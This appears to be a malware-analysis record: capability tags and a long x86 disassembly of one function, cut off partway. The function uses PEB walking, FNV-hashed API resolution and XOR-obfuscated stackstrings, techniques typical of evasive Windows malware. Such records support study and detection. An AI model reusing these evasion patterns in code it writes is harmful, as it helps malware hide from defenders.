Function at 0x414a70
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create thread
Encode data using xor
Get kernel32 base address
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x448
mov eax, dword [0x421008]
xor eax, esp
mov dword [esp + 0x444], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov cl, 0xe
mov dword [esp + 0x14], eax
mov dl, 0x18
mov byte [esp + 0xb8], 0x7d
mov al, 8
xor al, byte [esp + 0xb8]
mov ah, 0xf
xor cl, byte [esp + 0xb8]
mov ch, 0x4e
mov byte [esp + 0xb9], al
mov dh, 0x4f
mov byte [esp + 0xba], cl
mov cl, byte [esp + 0xb8]
mov byte [esp + 0x1b], 0x53
xor ah, cl
mov al, byte [esp + 0x1b]
xor dl, cl
xor al, cl
mov byte [esp + 0x18], 0x19
mov byte [esp + 0xbf], al
xor ch, cl
mov al, byte [esp + 0x18]
xor dh, cl
xor al, cl
mov byte [esp + 0x19], 0x11
mov byte [esp + 0xc0], al
mov al, byte [esp + 0x19]
xor al, cl
mov byte [esp + 0x1a], 0x11
mov byte [esp + 0xc1], al
mov al, byte [esp + 0x1a]
xor al, cl
mov byte [esp + 0xbc], ah
mov byte [esp + 0xc2], al
mov eax, dword fs:[0x30]
mov byte [esp + 0xc3], 0
mov byte [esp + 0xbb], dl
mov byte [esp + 0xbd], ch
mov byte [esp + 0xbe], dh
mov byte [esp + 0xc3], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414bc8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414bc8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop word [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x24], ecx
dec edi
mov esi, 0xc03d3d3f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414bbd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414ba0
cmp esi, 0xd58630a1
je 0x414bcc
mov ecx, dword [esp + 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414b80
mov eax, dword [eax]
jmp 0x414b52
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xb9]
add eax, edx
push ecx
call eax
mov dword [0x421820], eax
mov cl, 0x24
xor al, al
mov byte [esp + 0xc4], 0x57
xor cl, byte [esp + 0xc4]
mov dl, 0x65
mov byte [esp + 0xcf], al
mov ah, 8
xor al, byte [esp + 0xc4]
mov dh, dl
mov byte [esp + 0xc5], al
mov ch, 0x64
mov byte [esp + 0xc6], cl
mov cl, byte [esp + 0xc4]
mov byte [esp + 0x1a], 0x79
xor ah, cl
mov al, byte [esp + 0x1a]
xor dl, cl
xor al, cl
mov byte [esp + 0x19], 0x33
mov byte [esp + 0xcb], al
xor ch, cl
mov al, byte [esp + 0x19]
xor dh, cl
xor al, cl
mov byte [esp + 0x18], 0x3b
mov byte [esp + 0xcc], al
mov al, byte [esp + 0x18]
xor al, cl
mov byte [esp + 0x1b], 0x3b
mov byte [esp + 0xcd], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0xc8], ah
mov byte [esp + 0xce], al
mov eax, dword fs:[0x30]
mov byte [esp + 0xc7], dl
mov byte [esp + 0xc9], ch
mov byte [esp + 0xca], dh
mov byte [esp + 0xcf], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414d28
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414d28
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x98f18334
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414d1d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414d00
cmp esi, 0xa5adf1f6
je 0x414d2c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414ce0
mov eax, dword [eax]
jmp 0x414cb4
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xc5]
add eax, edx
push ecx
call eax
mov dword [0x421818], eax
mov dl, 0x5a
mov dword [esp + 0x100], 0x283f115a
xor ecx, ecx
mov dword [esp + 0x104], 0x69363f34
mov dword [esp + 0x108], 0x363e7468
mov word [esp + 0x10c], 0x36
lea eax, [esp + 0x101]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x414d9e
mov dl, byte [esp + 0x100]
jmp 0x414d85
mov eax, dword fs:[0x30]
mov byte [esp + 0x10d], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414e28
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414e28
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop word [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xaa9596e1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414e1d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414e00
cmp esi, 0x425aee0b
je 0x414e2c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414de0
mov eax, dword [eax]
jmp 0x414db2
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x101]
add eax, edx
push ecx
call eax
mov dword [0x42181c], eax
mov dl, 0x33
mov dword [esp + 0xe0], 0x565b6033
xor ecx, ecx
mov dword [esp + 0xe4], 0x1005f5f
mov dword [esp + 0xe8], 0x5f5f571d
mov byte [esp + 0xec], 0
lea eax, [esp + 0xe1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x414e9c
mov dl, byte [esp + 0xe0]
jmp 0x414e83
mov eax, dword fs:[0x30]
mov byte [esp + 0xec], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414f19
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414f19
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xf77588c2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414f0e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414ef1
cmp esi, 0x9e8b6c34
je 0x414f1d
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414ed8
mov eax, dword [eax]
jmp 0x414eb0
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xe1]
add eax, edx
push ecx
call eax
mov dword [0x42182c], eax
mov dl, 0x3b
mov dword [esp + 0xf0], 0x525f7c3b
xor ecx, ecx
mov dword [esp + 0xf4], 0x484e574b
mov dword [esp + 0xf8], 0x57575f15
mov byte [esp + 0xfc], 0
lea eax, [esp + 0xf1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x414f8d
mov dl, byte [esp + 0xf0]
jmp 0x414f74
mov eax, dword fs:[0x30]
mov byte [esp + 0xfc], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x415018
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415018
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xcdd7893
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41500d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414ff0
cmp esi, 0x31117e85
je 0x41501c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414fd0
mov eax, dword [eax]
jmp 0x414fa1
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xf1]
add eax, edx
push ecx
call eax
mov byte [esp + 0xac], 0x61
mov cl, 5
mov al, 0x26
mov byte [esp + 0x1a], cl
xor al, byte [esp + 0xac]
mov ah, 0x52
xor cl, byte [esp + 0xac]
mov dl, 8
mov byte [esp + 0xad], al
mov ch, 0x53
mov al, byte [esp + 0x1a]
mov dh, 0x4f
mov byte [esp + 0xae], cl
mov cl, byte [esp + 0xac]
xor al, cl
mov byte [esp + 0x19], 0xd
mov byte [esp + 0xb3], al
xor ah, cl
mov al, byte [esp + 0x19]
xor dl, cl
xor al, cl
mov byte [esp + 0x18], 0xd
mov byte [esp + 0xb4], al
xor ch, cl
mov al, byte [esp + 0x18]
xor dh, cl
xor al, cl
mov byte [esp + 0xb0], ah
mov byte [esp + 0xb5], al
mov eax, dword fs:[0x30]
mov byte [esp + 0xb6], 0
mov byte [esp + 0xaf], dl
mov byte [esp + 0xb1], ch
mov byte [esp + 0xb2], dh
mov byte [esp + 0xb6], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x415159
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415159
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x47ae9960
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41514e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415131
cmp esi, 0x635313b2
je 0x41515d
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415118
mov eax, dword [eax]
jmp 0x4150f0
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xad]
add eax, edx
push ecx
call eax
mov dword [0x421810], eax
mov dl, 0x58
mov dword [esp + 0x110], 0x2e3c1958
xor ecx, ecx
mov dword [esp + 0x114], 0x6b312839
mov dword [esp + 0x118], 0x343c766a
mov word [esp + 0x11c], 0x34
nop word [eax + eax]
lea eax, [esp + 0x111]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x4151d9
mov dl, byte [esp + 0x110]
jmp 0x4151c0
mov eax, dword fs:[0x30]
mov byte [esp + 0x11d], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x415259
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415259
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xcf42994d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41524e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415231
cmp esi, 0x6d048667
je 0x41525d
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415218
mov eax, dword [eax]
jmp 0x4151f0
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x111]
add eax, edx
push ecx
call eax
mov edx, dword [0x42181c]
xor edi, edi
mov dword [0x421828], eax
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov esi, dword [edx + ecx + 0x20]
lea eax, [edx + ecx]
mov dword [esp + 0x1c], eax
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x904ae888
mov al, byte [ecx]
inc ecx
test al, al
je 0x4152d0
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4152b3
cmp edx, 0xdd18f0b2
je 0x4152dc
mov edx, dword [0x42181c]
inc edi
add esi, 4
jmp 0x4152a3
mov eax, dword [esp + 0x1c]
mov edx, dword [0x42181c]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x244]
push ecx
add eax, edx
push 0
call eax
lea ecx, [esp + 0x240]
mov dword [esp + 0x120], 0
mov dword [esp + 0x130], 0
lea edx, [ecx + 2]
mov dword [esp + 0x134], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415335
sub ecx, edx
lea eax, [esp + 0x240]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x128]
call fcn.0040bdb0
mov edi, dword [esp + 0x130]
mov cl, 0x10
mov al, 0x4c
mov byte [esp + 0x28], cl
xor al, cl
mov byte [esp + 0x2a], 0
sub esp, 0x18
mov byte [esp + 0x41], al
mov edx, esp
mov byte [esp + 0x42], 0
lea ecx, [esp + 0x41]
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415398
sub ecx, esi
lea eax, [esp + 0x41]
push ecx
push eax
mov ecx, edx
call fcn.0040c170
lea ecx, [esp + 0x240]
call fcn.00412360
mov esi, eax
add esp, 0x18
cmp dword [esi + 0x14], 8
jb 0x4153c7
mov esi, dword [esi]
mov edx, esi
lea ecx, [edx + 2]
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4153d0
push dword [esp + 0x14]
sub edx, ecx
lea ecx, [esp + 0x124]
sar edx, 1
cmp dword [esp + 0x138], 8
push edx
cmovae ecx, dword [esp + 0x128]
push esi
mov esi, dword [esp + 0x13c]
mov edx, esi
push ecx
call fcn.0040cbc0
add esp, 0x10
mov dword [esp + 0x1b0], 0
mov dword [esp + 0x1c0], 0
mov dword [esp + 0x1c4], 7
lea ecx, [eax + 1]
cmp esi, ecx
jae 0x41543b
call fcn.0040c5d0
sub esi, ecx
lea eax, [esp + 0x120]
cmp esi, edi
cmovb edi, esi
cmp dword [esp + 0x134], 8
push edi
cmovae eax, dword [esp + 0x124]
lea eax, [eax + ecx*2]
push eax
lea ecx, [esp + 0x1b8]
call fcn.0040bdb0
mov edx, dword [esp + 0x134]
cmp edx, 8
jb 0x4154a8
mov ecx, dword [esp + 0x120]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41549e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4154fe
push edx
push ecx
call fcn.00418fbe
add esp, 8
movaps xmm0, xmmword [esp + 0x1b0]
mov edx, dword [esp + 0x23c]
movaps xmmword [esp + 0x120], xmm0
movq xmm0, qword [esp + 0x1c0]
movq qword [esp + 0x130], xmm0
cmp edx, 8
jb 0x41550e
mov ecx, dword [esp + 0x228]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415504
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x415504
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00418fbe
add esp, 8
mov eax, dword [esp + 0x130]
mov dword [esp + 0x170], 0
mov dword [esp + 0x180], 0
mov dword [esp + 0x184], 7
lea ecx, [eax - 4]
cmp eax, ecx
cmovb ecx, eax
cmp dword [esp + 0x134], 8
lea eax, [esp + 0x120]
cmovae eax, dword [esp + 0x120]
push ecx
push eax
lea ecx, [esp + 0x178]
call fcn.0040bdb0
mov ecx, dword [0x4210c0]
cmp ecx, 8
jb 0x4155a2
mov eax, dword [0x4210ac]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x415598
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4154fe
mov eax, edx
push ecx
push eax
call fcn.00418fbe
add esp, 8
movaps xmm1, xmmword [esp + 0x170]
mov ecx, 0x4210ac
mov edx, dword [0x42181c]
cmp dword [esp + 0x184], 8
movq xmm0, qword [esp + 0x180]
movd eax, xmm1
movups xmmword [0x4210ac], xmm1
cmovae ecx, eax
movq qword [0x4210bc], xmm0
mov eax, dword [edx + 0x3c]
xor edi, edi
mov dword [esp + 0x2c], ecx
mov ecx, dword [eax + edx + 0x78]
mov esi, dword [ecx + edx + 0x20]
lea eax, [ecx + edx]
mov dword [esp + 0x1c], eax
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xd3171c27
mov al, byte [ecx]
inc ecx
test al, al
je 0x415623
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415606
cmp edx, 0x228b8e77
je 0x41562f
mov edx, dword [0x42181c]
inc edi
add esi, 4
jmp 0x4155f6
mov eax, dword [esp + 0x1c]
mov edx, dword [0x42181c]
push dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 1
push 0
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [0x421824], eax
xor edi, edi
mov eax, dword [0x42181c]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov esi, dword [edx + eax + 0x20]
lea ecx, [edx + eax]
mov dword [esp + 0x1c], ecx
add esi, eax
mov ecx, dword [esi]
mov edx, 0x4669a5f8
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4156a3
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415686
cmp edx, 0x726523ef
je 0x4156ae
mov eax, dword [0x42181c]
inc edi
add esi, 4
jmp 0x415676
mov eax, dword [esp + 0x1c]
mov edx, dword [0x42181c]
push 0
push dword [0x421824]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
test eax, eax
je 0x4156e1
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.00414860
test eax, eax
jne 0x415831
movaps xmm0, xmmword [0x41c7d0]
mov dh, 0x3b
mov cl, 0x49
mov byte [esp + 0xa6], 0
mov ch, cl
mov byte [esp + 0xa0], dh
mov dl, cl
mov byte [esp + 0xa6], 0
mov al, 0x7e
mov dword [esp + 0x164], 0x44160b10
mov ah, 0x54
mov dword [esp + 0x168], 0x1000b09
xor cl, dh
mov byte [esp + 0x16c], 0
xor ch, dh
mov byte [esp + 0xa2], cl
xor al, dh
mov byte [esp + 0xa5], ch
xor dl, dh
mov byte [esp + 0xa1], al
xor ah, dh
mov byte [esp + 0xa3], dl
movups xmmword [esp + 0x144], xmm0
xor ecx, ecx
mov byte [esp + 0xa4], ah
movaps xmm0, xmmword [0x41c470]
movups xmmword [esp + 0x154], xmm0
nop dword [eax]
mov al, byte [esp + 0x144]
xor byte [esp + ecx + 0x145], al
inc ecx
cmp ecx, 0x27
jb 0x415780
mov edi, dword [0x421820]
xor ecx, ecx
mov byte [esp + 0x16c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0x67747bbb
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4157ed
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4157d0
cmp edx, 0xb7c09c5a
je 0x4157f6
inc dword [esp + 0x10]
add esi, 4
jmp 0x4157c0
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0xa1]
mov ecx, dword [esp + 0x10]
push 0x30
push eax
lea eax, [esp + 0x14d]
push eax
mov eax, dword [edx + 0x24]
push 0
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.00417a00
push 4
call fcn.00418f89
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea ecx, [esp + 0x44]
add esp, 4
mov dword [eax], 0x413bf0
push ecx
push 0
push eax
push 0x40da90
push 0
push 0
call esi
add esp, 0x18
mov dword [esp + 0x3c], eax
test eax, eax
je 0x416592
mov ecx, dword [esp + 0x40]
test ecx, ecx
je 0x41658a
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push ecx
push eax
call edi
add esp, 8
test eax, eax
je 0x415892
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
xorps xmm0, xmm0
push 4
movlpd qword [esp + 0x40], xmm0
call fcn.00418f89
add esp, 4
lea ecx, [esp + 0x38]
mov dword [eax], 0x405030
push ecx
push 0
push eax
push 0x40da90
push 0
push 0
call esi
add esp, 0x18
mov dword [esp + 0x34], eax
test eax, eax
je 0x41657a
mov ecx, dword [esp + 0x38]
test ecx, ecx
je 0x41658a
push ecx
push eax
call edi
add esp, 8
test eax, eax
je 0x4158eb
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
push 0
lea eax, [esp + 0x4c]
mov dword [esp + 0x4c], 1
push eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x54], 0
xorps xmm0, xmm0
mov dword [esp + 0x58], 0
push eax
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x60], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
call fcn.0040e210
mov al, 0x37
mov byte [esp + 0xa0], 0x73
mov dl, al
mov byte [esp + 0x1a], 0x1d
xor al, byte [esp + 0xa0]
mov cl, 0x40
xor cl, byte [esp + 0xa0]
mov ch, 0x24
mov byte [esp + 0xa1], al
mov dh, 0x1a
mov al, byte [esp + 0x1a]
mov ah, 0x53
mov byte [esp + 0xa2], cl
xorps xmm0, xmm0
mov cl, byte [esp + 0xa0]
xor al, cl
mov byte [esp + 0x19], 0x17
mov byte [esp + 0xa7], al
xor dl, cl
mov al, byte [esp + 0x19]
xor dh, cl
xor al, cl
mov byte [esp + 0x18], 0x1c
mov byte [esp + 0xa8], al
xor ah, cl
mov al, byte [esp + 0x18]
xor ch, cl
xor al, cl
mov byte [esp + 0x1b], 4
mov byte [esp + 0xa9], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0xa3], dl
sub esp, 0x18
mov byte [esp + 0xbe], dh
mov edx, esp
movlpd qword [esp + 0x74], xmm0
mov dword [esp + 0x7c], 0
movlpd qword [esp + 0x84], xmm0
movlpd qword [esp + 0x8c], xmm0
mov byte [esp + 0xbd], ch
lea ecx, [esp + 0xb9]
mov byte [esp + 0xc3], 0
lea esi, [ecx + 1]
mov byte [esp + 0xbc], ah
mov byte [esp + 0xc2], al
mov byte [esp + 0xc3], 0
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415a24
sub ecx, esi
lea eax, [esp + 0xb9]
push ecx
push eax
mov ecx, edx
call fcn.0040c170
lea ecx, [esp + 0x228]
call fcn.00412360
mov eax, dword [esp + 0x2c]
add esp, 0x18
mov edx, dword [0x421820]
cmp dword [esp + 0x224], 8
mov dword [esp + 0x68], eax
lea eax, [esp + 0x210]
cmovae eax, dword [esp + 0x210]
xor edi, edi
mov dword [esp + 0x7c], eax
mov dword [esp + 0x58], 0
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x2928e757
mov al, byte [ecx]
inc ecx
test al, al
je 0x415abe
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415aa1
cmp edx, 0x6d0325ee
je 0x415aca
mov edx, dword [0x421820]
inc edi
add esi, 4
jmp 0x415a91
mov esi, dword [esp + 0x14]
mov edx, dword [0x421820]
push 0x7f00
push 0
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edx, dword [0x421820]
xor edi, edi
mov dword [esp + 0x70], eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x5c], 0x412b30
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x6caaede9
mov al, byte [ecx]
inc ecx
test al, al
je 0x415b4d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415b30
cmp edx, 0x8e04c021
je 0x415b59
mov edx, dword [0x421820]
inc edi
add esi, 4
jmp 0x415b20
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x58]
mov edx, dword [0x421820]
push eax
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edx, dword [0x421810]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop dword [eax]
mov ecx, dword [esi]
add ecx, edx
